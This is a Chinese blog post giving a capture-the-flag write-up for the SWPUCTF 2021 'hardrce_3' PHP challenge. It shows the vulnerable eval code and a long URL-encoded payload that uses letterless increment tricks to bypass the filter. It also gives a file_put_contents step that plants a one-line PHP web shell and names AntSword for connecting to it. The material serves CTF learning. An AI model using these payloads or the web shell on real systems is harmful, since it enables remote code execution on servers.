CHHHCHHOH 's BLOG

[SWPUCTF 2021 新生赛]hardrce_3

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?>

无字母RCE,但~、^、|都被过滤了,就用自增来绕过:
?wllm=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B
_=phpinfo();成功执行,在phpinfo界面发现一大堆disable_function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
可以用file_put_contents来绕过
_=file_put_contents('1.php','<?php eval($_POST[1]);?>');
再用蚁剑连就可以了。

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